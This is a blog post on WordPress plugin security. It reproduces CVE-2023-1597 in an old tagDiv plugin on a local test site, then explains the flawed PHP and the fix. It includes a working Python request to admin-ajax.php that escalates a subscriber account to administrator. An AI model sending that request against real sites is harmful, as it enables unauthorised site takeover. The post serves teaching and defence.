Is WordPress safe? Or why website security should be handled carefully
Tags: wordpress, security, php, webdev
Published: 2023-08-24 21:13:29

This question is often raised across forums, and I'm also asked it pretty frequently. First of all, let's consider the following: nothing is 100% secure. Not a single app, especially on the Internet.
Now, that we know the basics, let's take a closer look at the WordPress ecosystem. At its core, WP is pretty safe and nice. If you set up a fresh installation, use a stock theme, and won't install any plugins, it can be considered a safe place. Troubles come when you want to add some shine or functionality to themes or plugins.


![wordpress security](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1th225m8ltnpsptxgops.jpg)

Why? Well, the WordPress team does a good job by protecting and monitoring their code (again, it's not 100% secure and sometimes vulnerabilities are found even in the core code, but it happens more and more rarely). On the opposite, each plugin/theme team is responsible for their own product. In this case, the "team" can be 1 person or 100 people - it depends.

Again, there are many factors that affect 3rd-party script security, not only the number of people supporting the product. To illustrate the problem, take a look [here](https://www.cvedetails.com) - it's a public database of vulnerabilities found in different digital software. Most of them are patched now, but just look at how many security flaws are presented in the software we're using daily!

To illustrate that it's not a joke (who knows, maybe CVEdetails are using wrong information?) and that information security should be taken seriously, I found an outdated version of the theme that is vulnerable to a bug found on the website [I mentioned](https://www.cvedetails.com/cve/CVE-2023-1597/).

As we see from the details, the bug has been fixed in version 2.7+, so I found tagDiv library v2.5, installed fresh WP, and the vulnerable theme. The CVE details tell us that (in case we're dealing with the old version) we can make arbitrary users the website admin. Let's check it!

First, I created a new user called "test" and set him the "subscriber" role. You can see it in the screenshot:


![A new user - subscriber](https://dev-to-uploads.s3.amazonaws.com
/uploads/articles/anqqmaoy4gqt0vkcai0u.png)

Now, let's use Python to send the request according to the CVE details:

```
import requests
r = requests.post('http://vsite.local/wp-admin/admin-ajax.php', data={'action': 'tdb_user_form_on_submit', 'userID': 2, 'formElements': json.dumps({"content-fields":[{"name":"wp_capabilities","value":{"administrator":True}}]}) })
```

We're using userID 2 because my new user has id 2, and we're telling WP that we want to update the capabilities of the specified users and promote it to admin.
Let's check the response:
```
print(r.content)
b'{"success":"Your profile information has been successfully updated.","errors":[]}'
```

So, let's cheeeeck... Yes! The user is admin now! Wow!

![The user is now admin](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ubg6mopykizrlep2fspr.png)


Why did it happen?
Well, the $user_id variable used in the plugin code is not being checked, first of all, against malicious input, and second, the code doesn't check if the user making a request is capable of promoting other users:

```
$user_id = $_POST['userID'];
$form_elements = json_decode(str_replace('\\', "", $_POST['formElements']), true);

//...

$user_obj = get_user_by('ID', $user_id);

//..

if( !$user_obj ) {
	$reply['errors'][] = 'An unexpected error has occured. Please try again.';
} else {

	// Handle the content fields
	if( isset( $form_elements['content-fields'] ) && !empty( $form_elements['content-fields'] ) ) {
		$content_fields = $form_elements['content-fields'];

		foreach ( $content_fields as $content_field ) {
			update_user_meta($user_id, $content_field['name'], $content_field['value'] );
		}
		
		//rest of the code
	}
}
```


Fixes?
The funniest part is that this code can be fixed VERY easily, by checking the user role before going further (literally line + forming the response):

```
if ( !current_user_can( 'manage_options' ) ) {
	$reply['errors'][] = 'Not enough permissions!';
	die( json_encode( $reply ) );
}

$user_id = $_POST['userID'];

//... rest of the code
```

And it's just 1 issue of many. Of course, not all the issues are that dangerous, but still, any security flaw, even a tiny one, can affect the brand's reputation. So it's highly important to keep an eye on the software updates. While WP core is safe enough, themes and plugins should be monitored regularly.

---
Other similar posts:
[A couple of thoughts about the e-commerce security ](https://drew-k.com/blog/a-couple-of-thoughts-about-the-ecommerce-security/)